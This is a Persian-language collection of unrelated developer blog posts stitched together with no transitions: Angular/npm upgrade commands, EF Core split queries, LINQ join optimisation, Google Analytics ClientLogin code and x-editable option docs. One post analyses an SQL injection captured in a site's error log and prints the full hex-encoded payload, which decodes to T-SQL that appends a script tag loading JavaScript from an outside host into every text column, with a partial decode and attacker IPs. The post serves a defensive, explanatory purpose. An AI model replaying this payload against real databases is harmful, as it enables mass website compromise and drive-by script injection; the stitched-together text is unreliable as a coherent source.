تنظیم minheight برای سطرهای جدول
Sql vs noSql vs Both کدام انتخاب بهتر است؟
npm uninstall -g @angular/cli npm cache verify # if npm version is < 5 then use `npm cache clean` npm install -g @angular/cli@latest
npm i -g npm
2-حذف کردن ویژگیهای منسوخ شده از RxJS 6 با اجرای دستور زیر:
npm install -g rxjs-tslint rxjs-5-to-6-migrate -p src/tsconfig.app.json
npm update -g
برای بهروز رسانی به نسخه 7 (core framework و CLI)، دستورات زیر را اجرا کنید:
ng update @angular/cli ng update @angular/core ng update rxjs
ng update @angular/material
ng update --all --force
npm install npm-check-updates -g ncu -u npm install
var users = context.Users.Include(x => x.Articles).ToList();
SELECT [u].[Id], [u].[FirstName], [u].[LastName], [a].[Id], [a].[Approved], [a].[AuthorId], [a].[Body], [a].[PubDate], [a].[Subject] FROM [Users] AS [u] LEFT JOIN [Articles] AS [a] ON [u].[Id] = [a].[AuthorId] ORDER BY [u].[Id], [a].[Id]
شکل یک
همانطور که در عکس فوق مشاهده میکنید، کاربر با شناسهی 1، ده مقاله را منتشر کردهاست که به ازای تعداد مقالات، سه فیلد شناسه کاربر، نام و نام خانوادگی، تکرار شدهاست و همین اتفاق برای کاربر با شناسهی 2 هم تکرار شدهاست. قطعا در اکثر نرم افزارها، نیاز به چنین کوئریها و دادههایی زیاد است و جلوگیری از این تکرار دادهها، میتواند بر روی کارایی نرم افزار تاثیر گذار باشد.
Cartesian explosion
اجرای یک Join بین جداول با رابطهی one to many، منجر به تکرار ستونهای جدول طرف one، به تعداد رکوردهای مرتبط میشود. این اتفاق باعث هدر رفت منابع و همچنین کند شدن اجرای کوئری خواهد شد که این مشکل تحت عنوان Cartesian explosion problem شناخته میشود.
از نسخه EF Core5.0، امکانی اضافه شدهاست که کمک میکند این مشکل را برطرف کنیم و سرعت اجرای کوئریها سریعتر شود. Entity Framework به صورت پیش فرض، کوئریها را در قالب یک دستور (یک رفت و برگشت) انجام میدهد، اما میتوان این رفتار را با استفاده از قابلیت SplitQuery تغییر داد.
متد ()SplitQuery
با استفاده از این متد، به Entity Framework الزام میکنیم که بجای استفاده از Join در یک کوئری، کوئریهای جداگانهای را بر روی دیتابیس اجرا کند. برای کوئری اول که در بالا نوشتیم، به صورت زیر میتوانیم SplitQuery را اعمال کنیم:
var users = context.Users.AsSplitQuery().Include(x => x.Articles).ToList();
کوئری حاصل از کد فوق به صورت زیر میباشد:
-- First Part SELECT [u].[Id], [u].[FirstName], [u].[LastName] FROM [Users] AS [u] ORDER BY [u].[Id] -- Second Part SELECT [a].[Id], [a].[Approved], [a].[AuthorId], [a].[Body], [a].[PubDate], [a].[Subject], [u].[Id] FROM [Users] AS [u] INNER JOIN [Articles] AS [a] ON [u].[Id] = [a].[AuthorId] ORDER BY [u].[Id]
همانطور که مشاهده میکنید، دو کوئری تولید شده است که کوئری اول برای دریافت لیست کاربران و کوئری دوم برای لیست مقالات تولید شدهاست. این تغییر باعث شدهاست که فیلدهای مورد نیاز از جدول کاربران، به تعداد مقالات هر کاربر تکرار نشود.
شکل 2- خروجی حاصل بعد از اجرا به صورت SplitQuery
فعال سازی به صورت سراسری
همانطور که بیان شد، EF به صورت پیش فرض کوئریها را در قالب یک درخواست اجرا میکند. اگر تمایل دارید خاصیت SplitQuery بر روی تمامی کوئریها اعمال شود، میتوانید به صورت زیر این امکان را به صورت سراسری اعمال نمایید.
protected override void OnConfiguring(DbContextOptionsBuilder optionsBuilder) { optionsBuilder .UseSqlServer( @"Server=(localdb)\mssqllocaldb;Database=EFQuerying;", o => o.UseQuerySplittingBehavior(QuerySplittingBehavior.SplitQuery)); }
اگر SplitQuery را به صورت سراسری فعال کردید و نیاز داشتید جایی یک کوئری را به همان روش SignleQuery اجرا کنید، میتوانید از متد SingleQuery به صورت زیر استفاده نمایید.
var users = context.Users.AsSingleQuery().Include(x => x.Articles).ToList();
عکس زیر مقایسه ای بین اجرای کوئریها به صورت Single و Split میباشد:
مبنع: thinktecture
در رابطه با SplitQuery موارد زیر مطرح میباشد :
- زمانیکه کوئری تبدیل به دو یا چند کوئری میشود، ممکن است بعد از اجرا کوئری اول و قبل از اجرای کوئری دوم، یک به روزرسانی انجام شود که ممکن است consistency نقض شود.
- در این حالت، چندین درخواست و رفت و برگشت اجرا میشود که همین میتواند باعث تاخیر و افزایش زمان گردد.
برای یک مسئله میتوان کوئریهای متنوعی نوشت که همگی به یک جواب میرسند؛ ولی زمان اجرا و میزان حافظهی مصرفی متفاوتی دارند. یک سناریوی رایج در نوشتن کوئریهای LINQ، ترکیب اطلاعات جداول مختلف و محاسبهی یک عدد معنی دار از ترکیب آن هاست.
برای نمونه دو Entity زیر را در مدل EF خود داریم:
public class User { public int ID { get; set; } public string Name { get; set; } public int Age { get; set; } } public class Login { public int ID { get; set; } public DateTime Date { get; set; } public int UserID { get; set; } public User User { get; set; } }
برای تولید اطلاعات تصادفی میتوان از کد زیر در LINQPad استفاده کرد:
int usersCount = 1200; Random rnd = new Random(); for(int i=0; i<usersCount; i++) { Users.Add(new User() { Name = $"User {i + 1}", Age = rnd.Next(10, i + 10) / 10 }); } SaveChanges(); $"Users: {Users.Count()}".Dump(); var usersID = Users.Select(x => x.ID).ToArray(); int loginsCount = 20000; for(int i=0; i<loginsCount; i++) { Logins.Add(new Login() { UserID = usersID[rnd.Next(0, usersID.Length - 1)], Date = DateTime.Now.AddDays(rnd.Next(0, i)) }); if(i % 1000 == 0) { SaveChanges(); $"Save {i + 1}".Dump(); } } SaveChanges(); $"Logins: {Logins.Count()}".Dump();
$"Users: {Users.Count()}".Dump(); $"Logins: {Logins.Count()}".Dump(); Users: 1200 Logins: 21000
مسئله: نمایش اطلاعات پروفایل هر کاربر، به همراه تاریخ آخرین لوگین و تعداد کل لوگینهای فرد
در سناریوهای این سبکی، باید خیلی با دقت عمل کرد و از تمام اطلاعات موجود استفاده کرد. اطلاعاتی که در اینجا برای ما مفید است، تعداد نسبی رکوردهای جداول دیتابیس است. مثلا در حال حاضر تعداد رکوردهای Logins تقریبا 17 برابر Users است و در آینده هم رشد Logins چند برابر Users خواهد بود. از طرفی در صورت مسئله، اطلاعات هر کاربر را میخواهیم، که به سادگی یک SELECT است. ولی بخش سنگینتر کوئری، محاسبهی تعداد لوگینها و تاریخ آخرین لوگینهای هر فرد است که باز هم به جدول Logins بر میگردد.
روش اول:
راه حل اولی که به ذهن میرسد، JOIN کردن این دو جدول و محاسبه موارد لازم از ترکیب این دو جدول است:
var data = ( from u in Users join x in Logins on u.ID equals x.UserID into g from x in g.DefaultIfEmpty() select new { UserID = u.ID, Name = u.Name, Age = u.Age, Date = x.Date } ); var result = ( from d in data group d by d.UserID into g select new { UserID = g.Key, Name = g.FirstOrDefault().Name, LoginsCount = g.Count(x => x.Date != null), LastLogin = g.Max(x => (DateTime?) x.Date) ?? null } );
SELECT [Project7].[ID] AS [ID], [Project7].[C2] AS [C1], [Project7].[C3] AS [C2], [Project7].[C1] AS [C3] FROM ( SELECT [Project6].[ID] AS [ID], CASE WHEN ([Project6].[C3] IS NULL) THEN CAST(NULL AS datetime2) ELSE [Project6].[C4] END AS [C1], [Project6].[C1] AS [C2], [Project6].[C2] AS [C3] FROM ( SELECT [Project5].[ID] AS [ID], [Project5].[C1] AS [C1], [Project5].[C2] AS [C2], [Project5].[C3] AS [C3], (SELECT MAX( CAST( [Extent9].[Date] AS datetime2)) AS [A1] FROM [dbo].[Users] AS [Extent8] LEFT OUTER JOIN [dbo].[Logins] AS [Extent9] ON [Extent8].[ID] = [Extent9].[UserID] WHERE [Project5].[ID] = [Extent8].[ID]) AS [C4] FROM ( SELECT [Project4].[ID] AS [ID], [Project4].[C1] AS [C1], [Project4].[C2] AS [C2], (SELECT MAX( CAST( [Extent7].[Date] AS datetime2)) AS [A1] FROM [dbo].[Users] AS [Extent6] LEFT OUTER JOIN [dbo].[Logins] AS [Extent7] ON [Extent6].[ID] = [Extent7].[UserID] WHERE [Project4].[ID] = [Extent6].[ID]) AS [C3] FROM ( SELECT [Project3].[ID] AS [ID], [Project3].[C1] AS [C1], (SELECT COUNT(1) AS [A1] FROM [dbo].[Logins] AS [Extent5] WHERE [Project3].[ID] = [Extent5].[UserID]) AS [C2] FROM ( SELECT [Distinct1].[ID] AS [ID], (SELECT TOP (1) [Extent3].[Name] AS [Name] FROM [dbo].[Users] AS [Extent3] LEFT OUTER JOIN [dbo].[Logins] AS [Extent4] ON [Extent3].[ID] = [Extent4].[UserID] WHERE [Distinct1].[ID] = [Extent3].[ID]) AS [C1] FROM ( SELECT DISTINCT [Extent1].[ID] AS [ID] FROM [dbo].[Users] AS [Extent1] LEFT OUTER JOIN [dbo].[Logins] AS [Extent2] ON [Extent1].[ID] = [Extent2].[UserID] ) AS [Distinct1] ) AS [Project3] ) AS [Project4] ) AS [Project5] ) AS [Project6] ) AS [Project7] ORDER BY [Project7].[C3] ASC, [Project7].[ID] ASC
روش دوم:
روش دوم اینست که دادههای سنگینتر (اطلاعات Logins) را ابتدا محاسبه کرده و سپس JOIN را انجام دهیم:
var data = ( from x in Logins group x by x.UserID into g orderby g.Key descending select new { UserID = g.Key, LoginsCount = g.Count(), LastLogin = g.Max(d => d.Date) } ); var result = ( from u in Users join d in data on u.ID equals d.UserID into g from d in g.DefaultIfEmpty() select new { UserID = u.ID, LoginsCount = d != null ? d.LoginsCount : 0, LastLogin = d != null ? (DateTime?)d.LastLogin : null } );
اکنون اگر کد SQL روش دوم را بررسی کنیم خواهیم دید که تنها 2 دستور SELECT ، یک LEFT OUTER JOIN به همراه یک GROUP BY تولید شده است که با توجه به ماهیت مسئله و ساختار دیتای ما، این دستورات منطقیترین و بهینهترین دستورات ممکن به نظر میرسد.
SELECT [Project1].[ID] AS [ID], [Project1].[C1] AS [C1], [Project1].[C2] AS [C2] FROM ( SELECT [Extent1].[ID] AS [ID], CASE WHEN ([GroupBy1].[K1] IS NOT NULL) THEN [GroupBy1].[A1] ELSE 0 END AS [C1], CASE WHEN ([GroupBy1].[K1] IS NOT NULL) THEN CAST( [GroupBy1].[A2] AS datetime2) END AS [C2] FROM [dbo].[Users] AS [Extent1] LEFT OUTER JOIN (SELECT [Extent2].[UserID] AS [K1], COUNT(1) AS [A1], MAX([Extent2].[Date]) AS [A2] FROM [dbo].[Logins] AS [Extent2] GROUP BY [Extent2].[UserID] ) AS [GroupBy1] ON [Extent1].[ID] = [GroupBy1].[K1] ) AS [Project1] ORDER BY [Project1].[C1] ASC, [Project1].[ID] ASC
چند روز پیش داشتم لاگهای خطای یکی از سایتهایی رو که درست کردهام بررسی میکردم، متوجه حجم بالای فایل لاگ خطای آن شدم (در چند سایت مختلف این مورد مشابه را دیدم). پس از بررسی، مورد زیر بسیار جالب بود:
Log Entry :
Error Raw Url :/show.aspx?id=15;DECLARE%20@S%20CHAR(4000);SET%20@S=
CAST(0x4445434C415245204054207661726368617228323535292C404
32076617263686172283430303029204445434C415245205461626C655F4375727
36F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616
D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220
776865726520612E69643D622E696420616E6420612E78747970653D27752720616E
642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78
747970653D323331206F7220622E78747970653D31363729204F50454E205461626C65
5F437572736F72204645544348204E4558542046524F4D20205461626C655F43757273
6F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D3
02920424547494E20657865632827757064617465205B272B40542B275D20736574205B
272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D226874
74703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E
3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B4
0432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C7363726970742073
72633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6
A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20
205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461
626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);
IP=120.129.71.187
vahidnasiri.blogspot.com
خوب این چی هست؟!
قبل از اینکه با اجرای عبارت SQL فوق به صورت تستی و محض کنجکاوی، کل دیتابیس جاری (SQL server) را آلوده کنیم میشود تنها قسمت cast آنرا مورد بررسی قرار داد. برای مثال به صورت زیر:
خروجی، عبارت زیر خواهد بود که به صورت استادانهای مخفی شده است:
DECLARE @T varchar(255),
@C varchar(4000)
DECLARE Table_Cursor CURSOR
FOR
SELECT a.name,
b.name
FROM sysobjects a,
syscolumns b
WHERE a.id = b.id
AND a.xtype = 'u'
AND (
b.xtype = 99
OR b.xtype = 35
OR b.xtype = 231
OR b.xtype = 167
)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
.....عبارت T-SQL فوق، تمامی فیلدهای متنی (varchar ، char ، text و امثال آن) کلیه جداول دیتابیس جاری را پیدا کرده و به آنها اسکریپتی را اضافه میکند. (آدرسهای فوق وجود ندارد و بنابراین ارجاع آن صرفا سبب کندی شدید باز شدن صفحات سایت خواهد شد بدون اینکه نمایش ظاهری خاصی را مشاهده نمائید)
این حمله اس کیوال موفق نبود. علت؟
اگر به آدرس بالا دقت کنید آدرس صفحه به show.aspx?id=15 ختم میشود. برای مثال نمایش خبر شماره 15 در سایت. در اینجا، هدف، دریافت یک عدد صحیح از طریق query string است و نه هیچ چیز دیگری. بنابراین قبل از انجام هر کاری و تنها با بررسی نوع داده دریافتی، این نوع حملات عقیم خواهند شد. (برای مثال بکارگیری ...int.Parse(Request) در صورت عدم دریافت یک متغیر عددی، سبب ایجاد یک exception شده و برنامه در همین نقطه متوقف میشود)
IP های زیر حمله بالا رو انجام دادند:
IP=61.153.33.106
IP=211.207.124.182
IP=59.63.97.18
IP=117.88.137.174
IP=58.19.130.130
IP=121.227.61.188
IP=125.186.252.99
IP=218.79.55.50
IP=125.115.2.4
IP=221.11.190.75
IP=120.129.71.187
IP=221.205.71.199
IP=59.63.97.18
IP=121.227.61.188
این آی پیها یا چینی هستند یا کرهای و البته الزامی هم ندارد که حتما متعلق به این کشورها باشند (استفاده از پروکسی توسط یک "هموطن" برای مثال).
حالا شاید سؤال بپرسید که چرا از این اعداد هگز استفاده کردهاند؟ چرا مستقیما عبارت sql را وارد نکردهاند؟
همیشه ورودی ما از یک کوئری استرینگ عدد نخواهد بود (بسته به طراحی برنامه). در این موارد بررسی اعتبار کوئری استرینگ وارد شده بسیار مشکل میشود. برای مثال میشود تابعی طراحی کرد که اگر در مقدار دریافتی از کوئری استرینگ، select یا insert یا update و امثال آن وجود داشت، به صورت خودکار آنها را حذف کند. اما استفاده از cast فوق توسط فرد مهاجم، عملا این نوع روشها را ناکارآمد خواهد کرد. برای مقابله با این حملات اولین اصلی را که باید بهخاطر داشت این است: به کاربر اجازه انشاء نوشتن ندهید! اگر قرار است طول رشته دریافتی مثلا 32 کاراکتر باشد، او حق ندارد بیشتر از این مقداری را وارد نماید (به طول بیش از اندازه رشته وارد شده فوق دقت نمائید).
و موارد دیگری از این دست (شامل تنظیمات IIS ، روشهای صحیح استفاده از ADO.NET برای مقابله با این نوع حملات و غیره) که خلاصه آنها را در کتاب فارسی زیر میتوانید پیدا کنید:
http://naghoos-andisheh.ir/product_info.php?products_id=197
بالاخره گوگل کار تهیه API مخصوص ابزار Analytics خود را به پایان رساند و اکنون برنامه نویسها میتوانند همانند سایر سرویسهای گوگل از این ابزار گزارشگیری نمایند.
خلاصه کاربردی این API ، دو صفحه تعاریف پروتکل (+) و ریز مواردی (+) است که میتوان گزارشگیری نمود.
هنوز کتابخانه google-gdata جهت استفاده از این API به روز رسانی نشده است؛ بنابراین در این مقاله سعی خواهیم کرد نحوه کار با این API را از صفر بازنویسی کنیم.
مطابق صفحه تعاریف پروتکل، سه روش اعتبارسنجی جهت دریافت اطلاعات API معرفی شده است که در اینجا از روش ClientLogin که مرسومتر است استفاده خواهیم کرد.
مطابق مثالی که در آن صفحه قرار دارد، اطلاعاتی شبیه به اطلاعات زیر را باید ارسال و دریافت کنیم:
POST /accounts/ClientLogin HTTP/1.1
User-Agent: curl/7.15.1 (i486-pc-linux-gnu) libcurl/7.15.1
OpenSSL/0.9.8a zlib/1.2.3 libidn/0.5.18
Host: www.google.com
Accept: */*
Content-Length: 103
Content-Type: application/x-www-form-urlencoded
accountType=GOOGLE&Email=userName@google.com&Passwd=myPasswrd&source=curl-tester-1.0&service=analytics
HTTP/1.1 200 OK
Content-Type: text/plain
Cache-control: no-cache
Pragma: no-cache
Date: Mon, 02 Jun 2008 22:08:51 GMT
Content-Length: 497
SID=DQ...
LSID=DQAA...
Auth=DQAAAG8...
string getSecurityToken()
{
if (string.IsNullOrEmpty(Email))
throw new NullReferenceException("Email is required!");
if (string.IsNullOrEmpty(Password))
throw new NullReferenceException("Password is required!");
WebRequest request = WebRequest.Create("https://www.google.com/accounts/ClientLogin");
request.Method = "POST";
string postData = "accountType=GOOGLE&Email=" + Email + "&Passwd=" + Password + "&service=analytics&source=vahid-testapp-1.0";
byte[] byteArray = Encoding.ASCII.GetBytes(postData);
request.ContentType = "application/x-www-form-urlencoded";
request.ContentLength = byteArray.Length;
using (Stream dataSt = request.GetRequestStream())
{
dataSt.Write(byteArray, 0, byteArray.Length);
}
string auth = string.Empty;
using (WebResponse response = request.GetResponse())
{
using (Stream dataStream = response.GetResponseStream())
{
using (StreamReader reader = new StreamReader(dataStream))
{
string responseFromServer = reader.ReadToEnd().Trim();
string[] tokens = responseFromServer.Split('\n');
foreach (string token in tokens)
{
if (token.StartsWith("SID="))
continue;
if (token.StartsWith("LSID="))
continue;
if (token.StartsWith("Auth="))
{
auth = token.Substring(5);
}
else
{
throw new AuthenticationException("Error authenticating Google user " + Email);
}
}
}
}
}
return auth;
}
همانطور که ملاحظه میکنید به آدرس https://www.google.com/accounts/ClientLogin ، اطلاعات postData با متد POST ارسال شده (دقیقا مطابق توضیحات گوگل) و سپس از پاسخ دریافتی، مقدار نشانه Auth را جدا نموده و در ادامه عملیات استفاده خواهیم کرد. وجود این نشانه در پاسخ دریافتی به معنای موفقیت آمیز بودن اعتبار سنجی ما است و مقدار آن در طول کل عملیات باید نگهداری شده و مورد استفاده مجدد قرار گیرد.
سپس مطابق ادامه توضیحات API گوگل باید لیست پروفایلهایی را که ایجاد کردهایم پیدا نمائیم:
string getAvailableProfiles(string authToken)
{
return fetchPage("https://www.google.com/analytics/feeds/accounts/default", authToken);
}
متد fetchPage را از پیوست این مقاله میتوانید دریافت نمائید. خروجی یک فایل xml است که با انواع و اقسام روشهای موجود قابل آنالیز است، از کتابخانههای XML دات نت گرفته تا Linq to xml و یا روش serialization که من روش آخر را ترجیح میدهم.
مرحله بعد، ساخت URL زیر و دریافت مجدد اطلاعات مربوطه است:
string url = string.Format("https://www.google.com/analytics/feeds/data?ids={0}&metrics=ga:pageviews&start-date={1}&end-date={2}", id, from, to);
return fetchPage(url, auth);
فایلهای کلاسهای مورد استفاده را از اینجا دریافت نمائید.
مثالی در مورد نحوه استفاده از آن:
CGoogleAnalytics cga = new CGoogleAnalytics
{
Email = "username@gmail.com",
Password = "password",
From = DateTime.Now.Subtract(TimeSpan.FromDays(1)),
To = DateTime.Now.Subtract(TimeSpan.FromDays(1))
};
List<CGoogleAnalytics.SitePagePreviews> pagePreviews =
cga.GetTotalNumberOfPageViews();
foreach (var list in pagePreviews)
{
//string site = list.Site;
//int pw = list.PagePreviews;
}
وارد کردن کتابخانه ها
این کتابخانه شامل دو فایل css و JS میباشد که بسته به محیطی که در آن کار میکنید متفاوت هستند. در این صفحه شما میتوانید برای 4 محیط Jquery ,JqueryUI , Bootstrap2 و Bootsrap3 بستهی مخصوصش را یا به صورت دانلود فایلها یا از طریق CDN دریافت نمایید. در اینجا هم یک دمو از قابلیتهای آن قابل مشاهده است.
برای شروع، کتابخانهی مورد نظر خود را دریافت و آنها را به صفحهی خود اضافه نمایید. در صورتیکه از Bootstrap استفاده میکنید، ابتدا فایلهای زیر را اضافه کنید:
<link href="//netdna.bootstrapcdn.com/bootstrap/3.0.0/css/bootstrap.min.css" rel="stylesheet"> <script src="http://code.jquery.com/jquery-2.0.3.min.js"></script> <script src="//netdna.bootstrapcdn.com/bootstrap/3.0.0/js/bootstrap.min.js"></script>
اولین حالتیکه میتوانید با این کتابخانه کار کنید، استفاده از خاصیت *-data است. نمونه زیر را در نظر بگیرید:
<a href="#" id="favsite" data-type="text" data-pk="1" data-url="@Url.Action(MVC.Categories.EditCategory())" data-title="Enter your favorite site">dotnettips.info</a>
$(document).ready(function () { $('#favsite').editable(); });
$(document).ready(function () { $.fn.editable.defaults.mode = 'inline'; $('#favsite').editable(); });
حالت بعدی که میتوان استفاده کرد به شکل زیر است:
<a href="#" id="favsite" >dotnettips.info</a>
$.fn.editable.defaults.mode = 'inline'; $(document).ready(function () { $('#favsite').editable({ type: 'text', pk: 1, url: '@Url.Action(MVC.Categories.EditCategory())', title: 'Enter your favorite site' }); });
خوبی این روش این است که میتوان اطلاعات بیشتری چون رویدادها را به آن پاس داد. تا الان با نحوهی انتساب آن به اشیاء آشنا شدیم. اجازه دهید تا با خصوصیات آن آشنا شویم.
AjaxOptions | همانطور
که متوجه شدید به طور خودکار اطلاعات ویرایش شده، به سمت آدرس داده شده،
به شیوه Post ارسال میگردند. در صورتیکه قصد دست بردن
در نوع درخواست را دارید، میتوانید از این ویژگی استفاده کنید: ajaxOptions: { type: 'put', dataType: 'json' } |
Anim | این
ویژگی که تنها در حالت inline پاسخ میدهد، میتواند زمان بسته شدن
x-editable را تغییر دهد که به طور پیش فرض با false مقداردهی شده است. جهت
تغییر زمان بسته شدن، کد زیر را وارد نمایید: anim:'false' //or anim: { duration: 2000 } |
autotext | در انتهای جدول آمده است. |
defaultValue | در
صورتیکه عنصر مورد نظر محتوایی نداشته باشد و این خصوصیت را
مقداردهی کنید، موقع ویرایش، این عبارت تعیین شده نمایش مییابد. در مثال
بالا باید متن تگ a را حذف کرده تا نتیجه را ببینید: (البته فیلد value نباید مقداری داشته باشد) defaultValue: 'default val' //or defaultValue: undefined //or defaultValue: null |
disabled | false کردن این ویژگی باعث غیرفعال شدن x-editable بر روی کنترل جاری میگردد. |
display | خاصیت
display یا مقدار بولین false را دریافت میکند، یا نال، یا یک تابع
callback را میتوان به آن پاس داد. این خصوصت زمانی صدا زده میشود که
اطلاعات به سمت آدرس سرور رفته و با موفقیت بازگشت داده میشوند (در صورتی
که این ویژگی غیرفعال باشد، بلافاصه بعد از تایید کاربر، از اطلاعات وارد شده
صدا زده میشود) و سپس متن جدید عنصر تغییر مییابد. حال اگر این خاصیت نال
که مقدار پیش فرض آن است باشد، متن تغییر مییابد. ولی اگر false باشد، متن سابق
باقی خواهد ماند و در صورتیکه تابعی به آن پاس داده باشید، طبق تابع شما
عمل خواهد کرد. پارامترهایی که تابع شما میتواند داشته باشد به شرح زیر است: value : مقدار جدید response : پاسخ سرور ( در صورتی که ارسال از طریق Ajax صورت گرفته باشد) و در صورتیکه عنصر شما checlklist یا select باشد که حاوی منبعی از مقادیر هست، مقادیرشان در قالب یک آرایه با نام sourceData بازگشت خواهد خورد. برای دسترسی به آیتمهای انتخابی هم از کد زیر استفاده میکنیم: $.fn.editableutils.itemsByValue(value, sourceData) |
emptyclass | معرفی یک کلاس css برای موقعیکه عنصر خالی است. |
emptytext | در صورتی خالی بودن عنصر، این متن را برای عنصر نمایش بده. |
highlight | بعد از به روز رسانی متن عنصر، آن را با این رنگ highlight خواهد کرد و کد رنگی باید در مبنای هگز باشد. مقدار پیش فرض آن false است. |
mode | دو
حالت نمایشی دارد که پیش فرض آن popup است و با باز کردن یک پنجره، مقدار
جدید را دریافت میکند. مورد بعدی inline است که به جای باز کردن پنجره،
متن عنصر را به حالت ویرایش تغییر میدهد. |
name | نام فیلدی که مقدارش تغییر میکند. |
onblur | زمانی که کاربر فوکوس را از ویرایشگر میگیرد، ویرایشگر چه پاسخی باید به آن بدهد، باز بماند؟ ignore ، بسته شود؟ cancel و یا مقدار داده شده را تایید کند؟submit |
params | پارامترهای درخواست ایجکسی که کنترل در حالت پیش فرض ارسال میکند؛ شامل Pk که آن را با id
رکورد پر میکنیم. name نام فیلدی که تغییر یافته است و value که مقدار جدید
است. در صورتیکه دوست دارید اطلاعات اضافیتری نیز ارسال شوند،
میتوانید از این خاصیت استفاده کنید و پارامترها را در قالب Object به آن
پاس کنید. ولی اگر بخواهید در کل همهی پارامترها را رونویسی کنید باید یک
تابع را به آن پاس کنید: params: function(params) { //در این حالت پارامترهای پیش فرض ارسال نشده و تنها پارامترهای معرفی شده در این تابع ارسال میشوند params.a = 1; return params; } |
pk | کلید
اصلی رکورد شما در دیتابیس یا هان id است. در صورتی که از کلیدهای ترکیبی
استفاده میکنید، نگران نباشید فکر آن را هم کرده اند.//کلید عدد pk:1, //کلید رشته ای pk:'dp123' //کلید ترکیبی pk:{id: 1, lang: 'en'} //معرفی یک تابع به آن و بازگشت |
Placement | این ویژگی فقط به درد حالت Popup میخورد که پنجره را کجای عنصر نمایش دهد و شامل چهار مقدار left,right,top,bottom میشود. |
saveonchange | زمانی
که مقدار جدید، برابر مقدار فعلی باشد و این خاصیت false باشد، هیچ تغییری رخ
نخواهد داد. ولی اگر برابر true باشد ،مقدار جدید اسال و جایگزین مقدار فعلی
خواهد شد. مقدار پیش فرض آن false است. |
selector |
با استفاده از این خصوصیت در عنصر انتخابی به دنبال عناصری که در selector
تعیین شده میگردد و حالت ویرایش را روی آنها فعال میکند. در این حالت استفاده از خصوصیات emptytext و autotext در ابتدای امر ممکن نیست و بعد از اولین کلیک قابل استفاده هستند. نکته بعدی اینکه شما باید کلاسهای زیر را دستی اضافه کنید. کلاس editable-click برای همه کنترلها وکلاس editable-empty به کنترلهای بدون مقدار و برای مقداردهی کنترلهای بدون مقدار میتوان از خاصیت ''=data-value استفاده کرد. <div id="user"> <!-- empty --> <a href="#" data-name="username" data-type="text" data-value="" title="Username">Empty</a> <!-- non-empty --> <a href="#" data-name="group" data-type="select" data-source="/groups" data-value="1" title="Group">Operator</a> </div> <script> $('#user').editable({ selector: 'a', url: '/post', pk: 1 }); </script> |
send | سه
مقدار auto,always و never را دریافت میکند. موقعی که شما آن را روی auto
تنظیم کنید؛ در صورتی مقادیر به سمت سرور ارسال میشوند که دو خاصیت url و
pk تعریف شده باشند. در غیر این صورت ویرایش فقط در حالت محلی و روی سیستم
کاربر رخ خواهد داد. |
showbuttons | در
صورتیکه با false مقداردهی شود، تایید فرم به طور خودکار انجام میگیرد و
اگر با یکی از مقادیر left یا Bottom پر شود، دکمهها را در آن قسمت نشان
میدهد. |
success | اطلاعات به سمت سرور
رفته و با موفقیت با کد 200 بازگشت داده شدهاند. در مستندات نوشته است، هر
کد وضعیتی غیر از 200 بازگشت داده شود، به سمت خاصیت error هدایت میشو.د ولی
آن طور که من با httpresponsemessage
تست کردم، چنین چیزی را مشاهده نکردم و مجددا success صدا زده شد. پس بهتر
هست دادهای را که به سمت کنترل برگشت میدهید، خودتان کنترل کنید. به خصوص
اگر انتقال اطلاعات صحیح باشد. ولی اگر در دیتابیس، تغییر با خطا روبرو گردد
بهتر است نتیجهی آن ارسال شده و از تغییر مقدار فعلی ممانعت به عمل آورید. success: function(response, newValue) { if(!response.success) return response.msg; } |
toggle | اگر قصد دارید که باز و بسته کردن ویرایشگر را بر عهدهی مثلا یک دکمهی روی صفحه بگذارید، این خصوصیت به شما کمک میکند:$('#edit-button').click(function(e) { e.stopPropagation(); $('#favsite').editable('toggle'); }); |
type | نوع
ویرایشی را که قرار است انجام گیرد، مشخص میکند. text برای متن، date برای
تاریخ، textarea جهت متون طولانیتر نسبت به text و بسیاری از موارد دیگر |
unsavedclass | این
کلاس موقعی اعمال میگردد که اطلاعاتی را ویرایش کردهاید، ولی اطلاعاتی
به سمت سرور ارسال نشده است. مثلا pk مقداردهی نشده یا send=never قرار
داید و یا اینکه به صورت محلی ذخیره میکنید و میخواهید در آخر همهی اطلاعات را
ارسال کنید. این خاصیت به طور پیش فرض با کلاس editable-unsaved مقداردهی شده که میتوانید با نال کردن، از شرش خلاص شوید. |
url | این
خاصیت با آدرس سمت سرور پر میشود. ولی میتوان به آن یک تابع هم پاس کرد که
این تابع جایگزین درخواست ایجکسی خودش خواهد شد و برای بازگشت دادن نتیجهی این درخواست به سمت تابعهای callback خودش میتوانید یک deferred object را برگشت دهید: url: function(params) { var d = new $.Deferred; if(params.value === 'abc') { //returning error via deferred object return d.reject('error message'); } else { //async saving data in js model someModel.asyncSaveMethod({ ..., success: function(){ d.resolve(); } }); return d.promise(); } } |
validate | مقدار
پیش فرض آن نال است و میتوان به آن یک تابع را جهت اعتبارسنجی سمت کلاینت پاس
داد. به عنوان آرگومان، مقدار جدیدی را ارسال کرده و در آن به اعتبارسنجی
میپردازید. در صورتی که مقدار، نامعتبر باشد، میتوانید یک پیام خطا از نوع
رشتهای را برگردانید. در صورتی که از نسخهی 1.5.1 به بعد استفاده میکنید، دریافت یک object با مقادیر زیر نیز ممکن شده است: newValue: مقدار جدید و جایگزین مقدار غیر معتبر. msg : پیام خطا. به کدهای زیر در سه حالت نگاه کنید: validate: function (value) { if ($.trim(value) == '') { //در تمامی نسخههای یک پیام متنی باز میگردد return 'This field is required'; //1.5.1 //یک مقدار جدید برگشت میدهد که بلافاصله آن را // تایید میکند و متن عنصر به روز میشود return { newValue: 'validated' }; //متن جدید ار ارسال کرده و پیام هشدار را نشان میدهد //ولی تایید نمیکند و منتظر تایید کاربر است return { newValue: 'validated', |
value | مقدار پیش فرضی که در ویرایشگر نشان میدهد و اگر مقداردهی نشود، از متن عنصر استفاده میکند. |
